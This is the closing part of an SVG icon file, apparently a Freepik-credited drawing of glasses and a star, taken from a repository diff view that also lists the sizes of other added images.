<rect x="122.1" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="128.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="127.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="123.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="138.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="133.7" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="132.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="137.6" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="39.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<polygon fill="#2B292A" points="46,97.2 47,97.2 47.2,97.2 47.2,96.3 47,96.3 46,96.3 45,96.3 44.7,96.3 44.7,97.2 45,97.2
|
||||
"/>
|
||||
<rect x="158.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<polygon fill="#2B292A" points="154.9,97.2 155.7,97.2 155.7,96.3 154.9,96.3 153.9,96.3 153.1,96.3 153.1,97.2 153.9,97.2
|
||||
"/>
|
||||
<polygon fill="#2B292A" points="36.3,97.2 36.9,97.2 36.9,96.3 36.1,96.3 35.1,96.3 34.3,96.3 34.3,97.2 35.3,97.2 "/>
|
||||
<polygon fill="#2B292A" points="102.9,133.3 100.4,128.3 98,133.3 92.5,134.1 96.5,137.9 95.5,143.4 100.4,140.8 105.3,143.4
|
||||
104.4,137.9 108.4,134.1 "/>
|
||||
<path fill="#2B292A" d="M103.4,25.1c-0.5,0.3-1,0.5-1.7,0.7c-2.3,0.7-4.8,0.7-7.1,0c-0.6-0.2-1.2-0.4-1.7-0.7
|
||||
c-1.8-1.2-13.4-6.3-37.6-2.3v7.1c0,0,2.9-0.9,3.5,3c0.6,3.9,2.1,16.7,12,17c0,0,9,0.4,10.9,0c1.9-0.4,8.7-1.9,11.3-12.3
|
||||
c0,0,0.5-2.3,1.8-4.2c1.6-2.4,5.1-2.4,6.7,0c1.3,1.9,1.8,4.2,1.8,4.2c2.6,10.4,9.4,12,11.3,12.3c1.9,0.4,10.9,0,10.9,0
|
||||
c9.9-0.3,11.3-13.1,12-17c0.6-3.9,3.5-3,3.5-3v-7.1C116.9,18.8,105.3,23.9,103.4,25.1z M90,36.9c-2.3,6-5,8.9-8.9,9.6
|
||||
c0,0-0.6,0.1-3,0.1c-3.1,0-7-0.2-7.1-0.2l0,0c-3.5-0.1-5.2-2.5-6.2-4.6c-0.7-1.4-1.3-3.1-1.7-5.2l0,0l0,0c0,0-0.5-1.3-0.6-2.9
|
||||
c-0.1-1.5,0-3.6,1.2-5.4c1.5-2.3,4.6-3.5,9-3.5c0.4,0,0.8,0,1.2,0c5.3,0,9.9,0.6,14.1,1.9C89.7,27.2,91,29,91,31
|
||||
C90.9,33.3,90.6,35.3,90,36.9z M132.9,28.2c1.2,1.8,1.3,3.9,1.2,5.4c-0.2,1.7-0.6,2.9-0.6,2.9l0,0l0,0c-0.5,2-1,3.7-1.7,5.2
|
||||
c-1,2.1-2.7,4.5-6.2,4.6l0,0c0,0-4,0.2-7.1,0.2c-2.4,0-3-0.1-3-0.1c-3.9-0.7-6.6-3.6-8.9-9.6c-0.6-1.6-0.9-3.5-1-5.8
|
||||
c0-2,1.3-3.8,3.2-4.4c4.3-1.3,8.9-1.9,14.1-1.9c0.4,0,0.8,0,1.2,0C128.3,24.8,131.4,26,132.9,28.2z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g id="DESIGNED_BY_FREEPIK">
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 5.3 KiB |
|
After Width: | Height: | Size: 3.0 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 3.0 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 3.0 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 124 KiB |
|
After Width: | Height: | Size: 95 KiB |
|
After Width: | Height: | Size: 75 KiB |
|
After Width: | Height: | Size: 80 KiB |
|
After Width: | Height: | Size: 113 KiB |
|
After Width: | Height: | Size: 108 KiB |